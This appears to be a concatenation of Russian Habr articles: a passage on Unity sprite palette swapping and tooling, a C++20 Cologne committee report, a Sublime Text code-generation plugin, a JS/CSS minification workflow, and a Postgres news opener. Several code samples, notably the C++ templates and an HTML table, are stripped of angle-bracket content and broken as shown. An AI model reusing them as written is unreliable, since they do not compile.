color.a *= lookup.a;
return color * input.color;
}
```
#### 2. Массив цветов
Я остановился на этом решении, потому что мне нужно было заменять палитры каждый раз, когда меняется внешний вид персонажа (например, при надевании предметов), и создавать некоторые палитры динамически (чтобы отобразить выбранные игроком цвета волос и кожи). Мне показалось, что во время выполнения и в редакторе для этих целей гораздо проще будет работать с массивами.
Код:
```
sampler2D _MainTex;
half4 _Colors[32];
half4 frag(v2f input) : SV_TARGET {
half4 lookup = tex2D(_MainTex, input.uv);
half4 color = _Colors[round(lookup.r * 255)];
color.a *= lookup.a;
return color * input.color;
}
```
Я представил свои палитры как тип ScriptableObject и использовал для их редактирования инструмент MonoBehaviour. Проработав долгое время над редактированием палитр в процессе создания анимаций в Aseprite, я понял, какие инструменты мне требуются и писал эти скрипты соответствующим образом. Если вы хотите написать собственный инструмент для редактирования палитр, то вот какие функции я обязательно рекомендую реализовать:
— Обновление палитр на различных материалах при редактировании цветов для отображения изменений в реальном времени.
— Присваивание названий и изменение порядка цветов в палитре (используйте поле для хранения индекса цвета, а не его порядка в массиве).
— Выбор и редактирование нескольких цветов за раз. (Совет: поля Color в Unity можно копипастить: просто нажмите на один цвет, скопируйте, нажмите на другой цвет, вставьте — теперь они одинаковы!)
— Применение цвета оверлея ко всей палитре
— Запись палитры в текстуру
#### 3. Единая текстура поиска для всех палитр
Если вы хотите переключать палитры на лету, но в то же время вам необходим батчинг для снижения количества вызовов отрисовки, то можно использовать эту технику. Она может оказаться полезной для мобильных платформ, но использовать её довольно неудобно.
Во-первых, нужно будет упаковать все палитры в одну большую текстуру. Затем вы используете цвет, заданный в компоненте SpriteRenderer (AKA цвет вершины) для определения строки, которую надо считать из текстуры палитры в шейдер. То есть палитра этого спрайта управляется через SpriteRenderer.color. Цвет вершины — это единственное свойство SpriteRenderer, которое можно менять без нарушения батчинга (при условии, что все материалы одинаковы).
В большинстве случаев лучше всего использовать для управления индексом альфа-канал, потому что вам скорее всего не понадобится куча спрайтов с различной прозрачностью.
Код:
```
sampler2D _MainTex;
sampler2D _PaletteTex;
float4 _PaletteTex_TexelSize;
half4 frag(v2f input) : SV_TARGET {
half4 lookup = tex2D(_MainTex, input.uv);
half2 paletteUV = half2(
lookup.r * _(PaletteTex_TexelSize.x / 0.00390625f),
input.color.a * _(PaletteTex_TexelSize.y / 0.00390625f)
)
half4 color = tex2D(_PaletteTex, paletteUV);
color.a *= lookup.a;
color.rgb *= input.color.rgb;
return color;
}
```
*Чудеса замены палитр и слоёв спрайтов. Так много комбинаций.*
#### III. Автоматизируйте всё и применяйте подходящие инструменты
Для реализации этой функции автоматизация была совершенно необходимой, потому что в результате у меня получилось около 300 анимаций и тысячи спрайтов.
Первым моим шагом стало создание экспортёра для Aseprite, чтобы управлять моей безумной схемой слоёв спрайтов при помощи удобного [интерфейса командной строки](https://www.aseprite.org/docs/cli/). Это просто скрипт на perl, который обходит все слои и метки в моём файле Aseprite и эспортирует изображения в определённой структуре каталогов и имён, чтобы я смог в дальнейшем их считывать.
Затем я написал импортёр для Unity. Aseprite выводит удобный файл JSON с данными кадров, поэтому можно создавать ассеты анимаций программно. Обработка Aseprite JSON и запись этого типа данных оказались довольно нудными, поэтому я привожу их здесь. Вы можете с лёгкостью загрузить их в Unity с помощью JsonUtility.FromJson, только не забудьте запустить Aseprite с опцией --format 'json-array'.
Код:
```
[System.Serializable]
public struct AespriteData {
[System.Serializable]
public struct Size {
public int w;
public int h;
}
[System.Serializable]
public struct Position {
public int x;
public int y;
public int w;
public int h;
}
[System.Serializable]
public struct Frame {
public string filename;
public Position frame;
public bool rotated;
public bool trimmed;
public Position spriteSourceSize;
public Size sourceSize;
public int duration;
}
[System.Serializable]
public struct Metadata {
public string app;
public string version;
public string format;
public Size size;
public string scale;
}
public Frame[] frames;
public Metadata meta;
}
```
На стороне Unity серьёзные проблемы у меня возникли в двух местах: в загрузке/нарезке спрайтшита и в построении клипа анимации. Мне бы очень помог понятный пример, поэтому вот фрагмент кода из моего импортёра, чтобы вы не так мучились:
Код:
```
TextureImporter textureImporter = AssetImporter.GetAtPath(spritePath) as TextureImporter;
textureImporter.spriteImportMode = SpriteImportMode.Multiple;
SpriteMetaData[] spriteMetaData = new SpriteMetaData[aespriteData.frames.Length];
// Slice the spritesheet according to the aesprite data.
for (int i = 0; i < aespriteData.frames.Length; i++) {
AespriteData.Position spritePosition = aespriteData.frames[i].frame;
spriteMetaData[i].name = aespriteData.frames[i].filename;
spriteMetaData[i].rect = new Rect(spritePosition.x, spritePosition.y, spritePosition.w, spritePosition.h);
spriteMetaData[i].alignment = (int)SpriteAlignment.Custom; // Same as "Pivot" in Sprite Editor.
spriteMetaData[i].pivot = new Vector2(0.5f, 0f); // Same as "Custom Pivot" in Sprite Editor. Ignored if alignment isn't "Custom".
}
textureImporter.spritesheet = spriteMetaData;
AssetDatabase.ImportAsset(spritePath, ImportAssetOptions.ForceUpdate);
Object[] assets = AssetDatabase.LoadAllAssetsAtPath(spritePath); // The first element in this array is actually a Texture2D (i.e. the sheet itself).
for (int i = 1; i < assets.Length; i++) {
sprites[i - 1] = assets[i] as Sprite;
}
// Create the animation.
AnimationClip clip = new AnimationClip();
clip.frameRate = 40f;
float frameLength = 1f / clip.frameRate;
ObjectReferenceKeyframe[] keyframes = new ObjectReferenceKeyframe[aespriteData.frames.Length + 1]; // One extra keyframe is required at the end to express the last frame's duration.
float time = 0f;
for (int i = 0; i < keyframes.Length; i++) {
bool lastFrame = i == keyframes.Length - 1;
ObjectReferenceKeyframe keyframe = new ObjectReferenceKeyframe();
keyframe.value = sprites[lastFrame ? i - 1 : i];
keyframe.time = time - (lastFrame ? frameLength : 0f);
keyframes[i] = keyframe;
time += lastFrame ? 0f : aespriteData.frames[i].duration / 1000f;
}
EditorCurveBinding binding = new EditorCurveBinding();
binding.type = typeof(SpriteRenderer);
binding.path = "";
binding.propertyName = "m_Sprite";
AnimationUtility.SetObjectReferenceCurve(clip, binding, keyframes);
AssetDatabase.CreateAsset(clip, "Assets/Animation/" + name + ".anim");
AssetDatabase.SaveAssets();
```
Если вы этого ещё не делали, то поверьте — начать создавать собственные инструменты очень легко. Самый простой трюк заключается в размещении в сцене GameObject с привязанным к нему MonoBehaviour, которое имеет атрибут [ExecuteInEditMode]. Добавьте кнопку, и вы готовы к бою! Помните, что ваши личные инструменты не обязаны выглядеть хорошо, они могут быть чисто утилитарными.
Код:
```
[ExecuteInEditMode]
public class MyCoolTool : MonoBehaviour {
public bool button;
void Update() {
if (button) { button = false; DoThing(); }
}
}
```
При работе со спрайтами автоматизировать стандартные задачи довольно легко (например, создание текстур палитр или пакетную замену цветов в нескольких файлах спрайтов). Вот пример, с которого можно начать учиться изменению своих спрайтов.
Код:
```
string path = "Assets/Whatever/Sprite.png";
Texture2D texture = AssetDatabase.LoadAssetAtPath(path);
TextureImporter textureImporter = AssetImporter.GetAtPath(path) as TextureImporter;
if (!textureImporter.isReadable) {
textureImporter.isReadable = true;
AssetDatabase.ImportAsset(path, ImportAssetOptions.ForceUpdate);
}
Color[] pixels = texture.GetPixels(0, 0, texture.width, texture.height);
for (int i = 0; i < pixels.Length; i++) {
// Do something with the pixels, e.g. replace one color with another.
}
texture.SetPixels(pixels);
texture.Apply();
textureImporter.isReadable = false; // Make sure textures are marked as un-readable when you're done. There's a performance cost to using readable textures in your project that you should avoid unless you plan to change a sprite at runtime.
byte[] bytes = ImageConversion.EncodeToPNG(texture);
File.WriteAllBytes(Application.dataPath + path.Substring(6), bytes);
AssetDatabase.ImportAsset(path, ImportAssetOptions.ForceUpdate);
```
#### Как я перерос возможности Mecanim: жалоба
Со временем прототип системы модульных спрайтов, который я создал с помощью Mecanim, стал самой большой проблемой при апгрейде Unity, потому что API постоянно сильно менялся и был плохо задокументирован. В случае простого конечного автомата было бы разумно иметь возможность запрашивать состояния каждого клипа или менять клипы во время выполнения. Но нет! Из соображений производительности Unity запекает клипы в их состояния и заставляет нас использовать для их смены неуклюжую систему переопределений.
Сам по себе Mecanim не такая уж плохая система, но мне кажется, что ему не удаётся реализовать свою основную заявленную особенность — простоту. Идея разработчиков заключалась в том, чтобы заменить то, что казалось сложными и мучительным (скриптинг) чем-то простым (визуальным конечным автоматом). Однако:
— Любой нетривиальный конечный автомат быстро превращается в дикую паутину узлов и соединений, логика которой разбросала по разным слоям.
— Простым случаям использования мешают обобщённые требования системы. Чтобы проиграть одну-две анимации, вам нужно создавать новый контроллер и назначать состояния/переходы. Разумеется, присутствует и излишняя трата ресурсов.
— Забавно, что в результате вам всё равно приходится писать код, ведь чтобы конечный автомат делал что-то интересное, нужен скрипт, вызывающий Animator.SetBool и подобные ему методы.
— Для многократного использования конечного автомата с другими клипами нужно дублировать его и заменять клипы вручную. В дальнейшем вам придётся вносить изменения в нескольких местах.
— Если вы хотите изменять то, что находится в состоянии во время выполнения, то у вас проблемы. Решением будет или плохой API, или безумный граф с одним узлом для каждой возможной анимации.
*Рассказ о том, как разработчики Firewatch попали в [ад визуального скриптинга](https://www.youtube.com/watch?v=8VgQ5PpTqjc&feature=youtu.be&t=640). Самое забавное в том, что когда докладчик показывает наиболее простые примеры, они всё равно выглядят безумно. Зрители в буквальном смысле стонут на [12:41](https://youtu.be/8VgQ5PpTqjc?t=761). Добавьте огромные затраты на обслуживание, и вы поймёте, почему я сильно не люблю эту систему.*
Многие из этих проблем даже не вина разработчиков Mecanim, а просто естественный результат несовместимых идей: нельзя создать общую и в то же время простую систему, а описывать логику при помощи изображений сложнее, чем просто словами/символами (кто-нибудь помнит флоучарты UML?). Я вспомнил фрагмент из [доклада Зака Макклендона на Practice NYC 2018](https://youtu.be/PkZoGDKy_L4?t=2757), и, если найдётся время, рекомендую вам посмотреть видео целиком!
Однако я разобрался. Визуальный скриптинг всегда порицается агрессивными «пиши свой собственный движок» нердами, не понимающими потребностей художника. К тому же нельзя отрицать, что бОльшая часть кода выглядит как непостижимый технический жаргон.
Если вы уже немного программист и делаете игры со спрайтами, то вам возможно стоит подумать дважды. Когда я начинал, то меня был уверен, что никогда не смогу написать что-то связанное с движком лучше, чем разработчики Unity.
И знаете что? Оказалось, что аниматор спрайтов — это просто скрипт, меняющий спрайт через заданное количество секунд. Как бы то ни было, мне всё-таки пришлось написать собственный. С тех пор я добавил ещё события анимации и другие функции под мой конкретный проект, но базовая версия, которую я написал за полдня, покрывает 90% моих потребностей. Она состоит всего из 120 строк и её можно бесплатно скачать отсюда: <https://pastebin.com/m9Lfmd94>. Благодарю за то, что прочитали мою статью. До встречи! | https://habr.com/ru/post/468991/ | null | ru | null |
# C++20 укомплектован, C++23 начат. Итоги встречи в Кёльне
На днях прошла встреча международного комитета по стандартизации C++ в Кёльне. В прошлый раз был принят feature freeze на C++20, так что комитет должен был обсуждать только исправления уже принятых вещей, а добавлять новинки уже в C++23…
… но всё было не так!
Что сделали с std::flat\_map; останутся ли страшные ключевые слова co\_return, co\_await и co\_yield; успели ли доделать std::format; в каком виде будут контракты в C++20? Всё это вас ждёт под катом.
Evolution Working Group
-----------------------
#### Понедельник
День был насыщенным — решили переименовать все концепты в snake\_case вместо CamelCase. Вдобавок с большим перевесом по голосам приняли предложение [P1607](https://wg21.link/p1607), которое меняет синтаксис и поведение контрактов на более понятное (но также требующее макросов).
#### Вторник
Обсуждали корутины. Отклонили всё, включая наше предложение на [отбрасывание co\_ с ключевых слов для корутин](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2019/p1485r1.html). Увы.
#### Среда
Внезапно сообразили, что одобренное в понедельник предложение [P1607](https://wg21.link/p1607) никто на практике не проверял, обсуждалось оно минут 30, в то время как существующее решение на контракты оттачивалось в течение многих лет.
После длительного обсуждения решили, что контракты в принципе не готовы к C++20. И убрали их из стандарта.
#### Четверг, пятница
Обсуждали вещи для C++23. Основные силы были сосредоточены на новых механизмах в обработке ошибок. Были как [общие размышления](https://wg21.link/p1095r0) на тему, так и конкретные предложения на [новый спецификатор исключений throws](https://wg21.link/p0709r3).
Library Working Group
---------------------
В комитете есть подгруппа LWG. Любой документ, добавляющий функциональность в стандартную библиотеку, должен пройти ревью в этой подгруппе.
Средняя пропускная способность LWG — ~30 документов в неделю. В Кёльне надо было рассмотреть более 50 документов, среди которых около половины крайне внушительных размеров, например:
\* [std::flat\_map](https://wg21.link/P0429)
\* [std::jthread](https://wg21.link/P0660)
\* [operator<=> для стандартной библиотеки](https://wg21.link/P1614)
\* [Новые примитивы синхронизации](https://wg21.link/P1135)
+ из EWG прилетела бумага на переименование концептов в snake\_case.
Что из ранее одобренного успели дотащить до C++20
-------------------------------------------------
* [в constexpr теперь не обязательно нуль-инициализировать каждую переменную](https://wg21.link/p1331). Долой int i{};, да здравствует int i;.
* [requires теперь можно использовать для конструкторов и деструкторов.](http://wg21.link/p0848) Соответственно теперь в классе может быть несколько деструкторов:
```
#include
template
struct Optional {
// ...
~Optional() requires(std::is\_trivially\_destructible\_v) = default;
~Optional() requires(!std::is\_trivially\_destructible\_v) {
if (inited\_) reinterpret\_cast(data\_).~T();
}
private:
bool inited\_{false};
std::aligned\_storage\_t data\_;
};
```
* [[[nodiscard]] обзавёлся диагностическим сообщением](http://wg21.link/p1301). Теперь не надо гадать, что же автор библиотек имел в виду:
```
template
[[nodiscard("Without storing the result the code executes synchronously")]] future async(F&& );
auto test() {
// ...
// warning: Without storing the result the code executes synchronously
async([huge\_data](){
std::cerr << huge\_data;
});
}
```
* [using enum](https://wg21.link/p1099):
```
enum class rgba_channel { kRed, kGreen, kBlue, kAlpha};
std::string_view to_string(rgba_channel channel) {
using enum rgba_channel;
switch (channel) {
case kRed: return "red";
case kGreen: return "green";
case kBlue: return "blue";
case kAlpha: return "alpha";
}
}
```
* [Deduction guides для агрегатов заработали из коробки](http://wg21.link/p1816):
```
template
struct S {
T x;
T y;
};
S t{'4', '2'}; // Deduces `S`
```
* [\_\_asm директивы теперь могут появляться в constexpr функциях](http://wg21.link/p1668) (но не могут выполняться!)
* [Массивы заданного размера теперь можно приводить к массивам неизвестного размера](https://wg21.link/p0388). Другими словами:
```
void f(int(&)[]); // p.s.: надеюсь такой код не пишут без крайней необходимости
int arr[1];
f(arr); // OK
```
* Выкинули контракты из C++20
* Новое ключевое слово [constinit](https://wg21.link/p1143) для гарантированной инициализации на этапе компиляции:
```
int count_invocations() {
// Программа не соберётся, если компилятор попытается
// инициализировать переменную `counter` на рантайме.
//
// Другими словами - появился инструмент, позволяющий убедиться
// что комиплятор не вставит лишние атомарные инструкции для защиты
// `counter` от конкурентной инициализации.
static constinit std::atomic counter{0};
return ++counter;
}
```
* Подкрутили [правила](https://wg21.link/p1452) описания возвращаемого значения в концептах.
* Многие [случаи использования volatile теперь deprecated](https://wg21.link/p1152). Компилятор будет как минимум сыпать предупреждениями в этих случаях.
* [[nodiscard]] теперь можно навешивать [на конструкторы, и это обязано работать](https://wg21.link/p1771):
```
struct [[nodiscard]] my_scopeguard { /* ... */ };
struct my_unique {
[[nodiscard]] my_unique(int fd) { /* ... */ } // захватывает ресурс во владение
/* ... */
};
void sample() {
my_scopeguard(); // warning
void(my_scopeguard()); // cast к void, warning не появится
my_unique(42); // warning
}
```
* Class Template Argument Deduction [начал работать для алиасов](https://wg21.link/p1814)
* [std::vector и placement new теперь можно использовать в constexpr](https://wg21.link/p0784)
* Добавили новый заголовочный файл [с большим количеством полезных битовых операций](https://wg21.link/p0553). Повороты битиков, подсчёт количества единичек/ноликов в начале/конце, подсчёт общего количества взведённых битиков — всё это теперь доступно из коробки.
* [с замечательным набором функций для форматирования строк](https://wg21.link/p0645) и интеграция с разными частями библиотеки и языка, включая [chrono и locale](https://wg21.link/p1361) и [более аккуратную поддержку float](https://wg21.link/p1652):
```
constexpr auto birthday = 28d/April/1989;
string s = format("At {0:%d} of {0:%B}, {0:%Y} someone was born", birthday);
assert(s == "At 28 of April, 1989 someone was born");
```
* [constexpr для bind, invoke, reference\_wrapper](https://wg21.link/p1065)
* [Заголовочный файл с математическими константами](http://wg21.link/p0631)
* Атомики обзавелись функциями wait и notify. Теперь их можно использовать как более легковесные conditional\_variable:
```
#include
enum class States {
kInitial, kProcessing, kPosting,
};
// Фу! Глобальная переменная!
std::atomic state{States::kInitial};
void state\_machine\_do\_posting() {
for (;;) {
States expected\_state = States::kProcessing;
// Ждем пока другой поток выставит состояние в kProcessing
state.wait(expected\_state);
if (!state.compare\_exchange\_strong(expected\_state, States::kPosting)) {
continue;
}
// do something
}
}
```
* Концепты были переведены в snake\_case
* operator != теперь по умолчанию генерируется из operator ==. Лишние [операторы были](https://wg21.link/p1614) выкинуты из стандартной библиотеки, некоторые были заменены на operator <=>
* std::\*stringstream и std::basic\_stringbuf обзавелись [дополнительными методами](https://wg21.link/p0408) для эффективного извлечения и вставки подкапотной строки:
```
std::string to_string(const MyType& v) {
std::string buf;
constexpr std::size_t kMaxSize = 32;
buf.reserve(kMaxSize);
// До C++20 копировало строчку, в C++20 — принимает во владение
std::ostringstream oss{std::move(buf)};
oss << "MyType{" << v << '}';
// До C++20 копировало строчку, в C++20 — извлекает
return std::move(oss).str();
}
```
* [Новый класс для запуска нового потока выполнения](https://wg21.link/p0660) std::jthread:
```
#include
void sample() {
bool ready = false;
std::mutex ready\_mutex;
std::condition\_variable\_any ready\_cv; // нужен именно `\_any`!
std::jthread t([&ready, &ready\_mutex, &ready\_cv] (std::stop\_token st) {
while (!st.stop\_requested()) {
/\* ... \*/
{
std::unique\_lock lock{ready\_mutex};
// Ждёт нотификации и ready == true, или stop\_token.request\_stop(),
// или jthread.request\_stop().
ready\_cv.wait\_until(lock, [&ready] { return ready; }, st);
}
/\* ... \*/
}
});
/\* ... \*/
// Деструктор `t` вызовет request\_stop() и будет ждать пока лямбда не завершится.
}
```
* Новые type\_traits для понимания, что [два разных типа данных имеют одинаковое внутреннее представление](https://wg21.link/p0466).
**История предложения**Три года назад некий [antoshkka](https://habr.com/ru/users/antoshkka/) выступал с докладом [о рефлексии без макросов и кодогенерации в C++14](https://youtu.be/abdeAew3gmQ) на CppCon. В конце доклада Лиза Липпинкотт привела пример структуры, где рефлексия должна отработать неправильно. В этом конкретном примере всё работало хорошо… но обсуждение продолжилось уже после доклада, за обедом вместе с Маршаллом Клоу.
В итоге [был найден пример, где рефлексия косячит](https://github.com/apolukhin/magic_get/blob/8bb5eb2f33fbc360610de3759549f07baa31b3a6/test/flat/core.cpp#L336-L360). Как итог, в документе от Лизы Липпинкотт на новые type\_traits есть занятное введение:
> Over dinner at CppCon, Marshall Clow and I discussed a bit of code that relied on two types being layout-compatible. As it happened, the types weren’t layout-compatible after all. I opined that there should be a way to statically assert layout-compatibility, so that the error would be caught at compile time, rather than dinner time. Marshall replied, “Write a proposal.” This is that proposal.
>
>
* Появился класс [std::source\_location](https://wg21.link/p1208), который умеет на этапе компиляции получать строчку, функцию и имя файла с исходниками.
* [Выкинули](https://wg21.link/p1661) недавно добавленные перегрузки для unordered контейнеров. Теперь опять нельзя передавать заранее предподсчитанный хеш в функции поиска.
Увы, std::stacktrace, std::flat\_map, std::flat\_set в C++20 не попали :(
С++23
-----
Началась работа над крупными вещами, включая адаптацию Boost.Process для стандарта, переосмысливание работы с файлами и вводом/выводом, линейную алгебру, юникод, 2d графика, аудио, JIT компиляцию C++ кода.
Большая часть вещей будет ещё претерпевать крупные изменения. Ближе всего к принятию [std::filesystem::path\_view](https://wg21.link/p1030). path\_view позволит работать с путями без динамических аллокаций, что является первым шагом к сверхпроизводительной работе с файловой системой.
Заслуги РГ21
------------
Как и всегда, мы работали в различных подгруппах, чинили баги, правили тексты, делились опытом по внедрению, презентовали бумаги, авторы которых не смогли приехать. Так, например, в последний момент заметили и подправили работу std::format с Inf/NaN; убрали неожиданности из интерфейса jthread; протащили через одну из подгрупп предложение на [хеширование pair, tuple, string, array](https://wg21.link/p1406).
Много времени провели в подгруппе SG1 Concurrency за обсуждением concurrent\_unordered\_map. В итоге функции visit теперь не будут защищать переданный value от конкурентной модификации, только от удаления из контейнера:
```
concurrent_unordered_map conc\_map;
conc\_map.visit(42, [](std::string& value) { // да, неконстантная ссылка....
// Раньше было всегда OK. Теперь OK если другие визиторы не меняют это же value.
std::cerr << value;
// Раньше было всегда OK. Теперь OK если другие визиторы не меняют это же value.
value += "Hello";
});
```
.
С таким интерфейсом проще ~~стрелять себе в ноги~~ выжать максимум производительности для некоторых статистических задач, при этом синхронизация фактически ложится на плечи пользователя:
```
concurrent_unordered_map> conc\_map;
conc\_map.visit(42, [](std::atomic& value) { // да, неконстантная ссылка....
// Всегда OK
++ value;
});
```
Также есть небольшие подвижки в SG6 Numerics — начали думать над Numerics TS с большим количеством новых классов чисел, в том числе с wide\_integer от нас.
Прочее
------
Осенью в Питере состоится конференция [C++ Piter](https://cppconf-piter.ru/), на которой можно будет лично пообщаться со многими людьми из комитета.
Встреча РГ21 по итогам Кёльнского собрания ISO состоится 9 августа ([регистрация](https://events.yandex.ru/events/cpp-party/09-aug-2019/?utm_source=habr&utm_content=post290719) обязательна, количество мест ограничено). На встрече можно задать вопросы об интересующих вас новинках и узнать побольше о C++20 и C++23. | https://habr.com/ru/post/458938/ | null | ru | null |
# Генерация повторяющихся блоков кода с помощью плагина для Sublime Text 2
В своей работе мне постоянно приходится копипастить большое количество однотипного кода связанного с разметкой, валидацией, форматированием и т.д. большого количества полей из СУБД. Давно хотелось как то автоматизировать эту задачу.
Например имеется таблица:
`id | field1 | field2 | field3`
И нужно получить разметку вида:
```
| | |
| | |
| | |
```
Хорошо если полей 3, а если их 30 и кусков кода тоже не один десяток?
Первой мыслью было сделать все в sql. Создать табличку со списком полей и запросом генерировать блок кода по шаблону. Сказано-сделано, однако копировать каждый раз шаблон в sql server management studio и сгенерированный код обратно показалось не слишком удобно, поэтому решил попробовать написать плагин к Sublime Text 2.
Итак итоговая задача:
Создаем список значений в виде двумерного массива, в моем случае в каждой строке я заношу:
`[fieldName, signFieldName, fieldFullName, fieldMeasurment]`
В редактируемом файле пишем шаблоны с плейсхолдерами {0},{1},{2} и {3} Например:
`ValidateSignedField({0},{1});`
Далее выделяем несколько шаблонов с помощью множественного выделения, жмем Ctrl+Shift+z и получаем готовый код.
Реализация оказалась довольно простой, учитывая что это мой первый плагин к sublime text 2, а python я последний раз ковырял весьма поверхностно больше года назад.
Создаем новый плагин (Tools -> New Plugin) и сохраняем например как Codegen.py в соответствующую папку.
Код плагина:
```
# coding=utf-8
import sublime
import sublime_plugin
# список значений для подстановки в шаблон вместо {0},{1},{2} и {3}
field_rows = [
['dbField1','dbField1Sign','Field 1 full name','m/s'],
['dbField2','dbField2Sign','Field 2 full name','kg/m*m'],
['dbField3','dbField3Sign','Field 3 full name','V'],
['dbField4','dbField4Sign','Field 4 full name','km/h']
]
class CodegenCommand(sublime_plugin.TextCommand):
def run(self, edit):
# получаем объект view
view = self.view
# получаем массив координат выделенной области
for curr_sel in view.sel():
n = 0
region = curr_sel
if not region.empty():
# если не пустой, берем очередной выбранный блок текста
selection = view.substr(region)
result = ''
#пробегаем по строкам с набором значений и производим подстановку
for field_row in field_rows:
result += selection.replace('{0}',field_row[0]).replace('{1}',field_row[1]).replace('{2}',field_row[2]).replace('{3}',field_row[3]).replace('{n0}',str(n)).replace('{n1}',str(n+1))
result += '\r\n'
n += 1
#заменяем шаблон на сгенерированный блок кода
self.view.replace(edit, region, result)
```
field\_rows — тот самый массив значений для подстановки в шаблон.
Уже по ходу написания на статьи пришла в голову мысль добавить возможность генерировать индексы с нуля или с единицы, для этого добавил плейсхолдеры {n0} и {n1} соответственно.
Теперь осталось добавить горячую клавишу на вызов плагина. В Key Bindings — User пишем:
`[
{ "keys": ["ctrl+shift+z"], "command": "codegen" }
]`
Надеюсь что этот плагин поможет кому-нибудь сэкономить немного времени. | https://habr.com/ru/post/204050/ | null | ru | null |
# Минификация CSS и Javascript в Website проекте ASP.NET
Про минимизацию javascript и css знают все. Ну если кто не знает, то, вкратце, это уменьшение объема файлов за счет удаления комментариев, разметки, переносов строк и прочего. Особенно актуально оно для интернет сайтов, которые при первом же визите пользователя должны порадовать его своей производительностью. Но наш проект, во-первых, работает в локальной сети, а во-вторых, используется на одних и тех же компьютерах изо дня в день, поэтому мы долгое время совсем не задумывались об оптимизации скриптов и стилей. Пока не стали плотно работать с ExtJS.
Созданная страничка со всеми подключенными скриптами и стилями весит больше 5 Мб (около 200 файлов). Одно только сгенерированное DOM-дерево в коде HTML содержит более 500 000 байт. Работать с системой пользователь может начать не раньше, чем через 5 секунд после загрузки страницы (инициализация скриптов, ExtJS и т.п.).
Как оказалось, несмотря на наличие локальной сети у заказчика и частую работу с одними и теми же страницами (должно же быть встроенное кэширование в браузере), иногда с загрузкой страниц возникают проблемы. Поэтому было решено уменьшить количество запросов к серверу и поработать над общей производительностью ExtJS в IE8.
Для минификации скриптов сначала скачал [Google Closure Compiler](http://closure-compiler.appspot.com/home), как один из самых популярных, да и корпорация добра плохого не сделает…
##### Google Closure Compiler
Положил файлик compressor.jar в папку со скриптами. Чтобы его запускать, пришлось поставить java. Сделал bat-файлик запуска с двумя командами, последняя из которых всего лишь делает задержку в 10 секунд, чтобы можно было успеть увидеть возможные ошибки и самому закрыть окно командной строки. Вот таким вот образом слил все скрипты в один файл, вес уменьшился примерно в полтора раза (это содержимое bat-файла):
```
cd %0\..\
java -jar compiler.jar --js=NavigationJS.js --js=SSSC.js (здесь еще куча файликов аналогичным образом) --js_output_file=bcr_master.min.js
ping -n 1 -w 100000 192.168.254.254 >nul
```
Все просто и элегантно, провозился минут пять. Команда cd %0\..\ в начале файла нужна для того, чтобы дальнейшее выполнение команд происходило внутри директории, в которой расположен сам .bat файл, а не с директории по умолчанию после запуска командной строки.
Но тут возникла идея минимизировать не только JS, но и CSS файлы, а Google Closure этого делать, увы, не умеет. Поэтому решил переделать все на YUI Compressor, о котором много отзывов, и он также сжимает CSS.
##### YUI Compressor
Для объединения всех файлов проекта был написан батник уже значительно большего объема, потому что этот YUI не умеет воспринимать в строке сразу несколько файлов — ему можно скармливать только по одному файлу. А значит, предварительно нам нужно слепить файлы в один временный файл командой copy, а уже потом его сжать юай компрессором.
Кстати, важное замечание — все объединяемые файлы javascript должны иметь в конце файла точку с запятой, а лучше с переносом на след.строку. Вообще любые операторы должны заканчиваться точкой с запятой, и решарпер люто негодует, когда видит наш javascript.
```
cd %0\..\
copy /b .\..\..\Scripts\JSON.js + (еще много файликов) + Bids.js combined.js
java -jar yuicompressor-2.4.8.jar combined.js --type js -o combined.min.js --charset cp-1251
copy /b combined.min.js + (еще много уже минимизированных файликов) + .\..\..\Scripts\jquery\plugins.fileupload.min.js mbcrfull.min.js
del combined.min.js
del combined.js
::copy /b .\..\..\Styles\MPMessage.css + (еще много файликов) + .\..\..\BCR\Styles\Kondor.css combined1.css
::java -jar yuicompressor-2.4.8.jar combined1.css -o .\..\..\BCR\Styles\mbcrfull.min.css --charset cp-1251
::del combined1.css
::copy /b .\..\..\Styles\jquery\ui.all.css + (еще много файликов) + .\..\..\Styles\jquery\jqueryslidemenu.css combined2.css
::java -jar yuicompressor-2.4.8.jar combined2.css -o .\..\..\Styles\jquery\mbcrfull.min.css --charset cp-1251
::del combined2.css
::ping -n 1 -w 10000 192.168.254.254 >nul
```
Так выглядит файл запуска компрессора в настоящее время. Как видите, строки минификации CSS закомментированы в силу специфики нашего проекта. На самом деле в минификации CSS есть масса тонкостей, а сливать их а один файл — задача не из легких:
* Во-первых, нужно тщательно следить за использованием относительных путей к изображениям. Стили ExtJS и других библиотек основаны на относительных путях, а значит они сразу выпадают из нашего объединения (кстати, в большинстве своем они уже минифицированы).
* Во-вторых, в CSS файлах могут встречаться команды`@import`. Это ад.
* В третьих, можно же создавать минифицированные объединенные стили отдельно в каждой из папок, а потом включать в проект, но, как выяснилось, таких файлов у нас получается не так уж много и прирост производительности будет небольшой. Поэтому решили минификацию CSS пока отложить. (Можно было и на Google Closure Compiler остановиться в таком случае)
А теперь самое интересное — батник у нас есть, объединенные скрипты генерируются успешно, осталось их прописать в релизной версии проекта. Все вроде работает, нужно коммитить…. каждый раз запуская скрипт.
##### Автоматизация минификации при коммите в релиз
Дело в том, что у нас две ветки в SVN — рабочая (DEV) и релизная. Каждый раз перед выкладыванием версии на сервер мы выполняем merge всех (ну или нужной части) изменений, билдим и только потом (если все нормально) коммитим. И надо, во-первых, не забывать самому постоянно выполнять этот батник перед коммитом в релиз, а во-вторых, следить за всеми разработчиками, чтобы тоже не забывали это делать.
И тут нам на помощь приходят Hook Scripts в TortoiseSVN!
В настройках клиента SVN заходим на вкладку Hook Scripts и выбираем там папку нашего проекта и сам батник. В опциях Hook Type выбираем «Start-Commit Hook«, чтобы скрипт запускался перед тем, как отобразится окно коммита.
Настройка запуска минификации перед коммитом
Вуаля, все работает и не надо ни за кем следить!
Есть, конечно, куча встроенных в visual studio средств объединения и минификации, но их тоже надо устанавливать на каждой машине, а еще в них тоже много тонкостей. До этого у нас использовался встроенный метод Composite Scripts, но он не обладает достаточной функциональностью в сравнении с теми же YUI или Google closure Compiler. | https://habr.com/ru/post/202102/ | null | ru | null |
# Postgresso 10 (47)
### Postgres и PostgreSQL
**[PostgreSQL 15.1](https://www.postgresql.org/about/news/postgresql-151-146-139-1213-1118-and-1023-released-2543/)**
И, конечно, PostgreSQL 14.6, 13.9, 12.13, 11.18 и 10.23 (у десятки это последний релиз). В этих версиях исправления багов. Здесь мы их описывать не будем. Ещё обновились названия временных поясов на актуальные. О релизе можно прочитать [здесь](https://www.postgresql.org/docs/release/15.1/).
**[Postgres Pro Standard 15.0.1 — они возвращаются](https://postgrespro.ru/blog/news/5969858)**
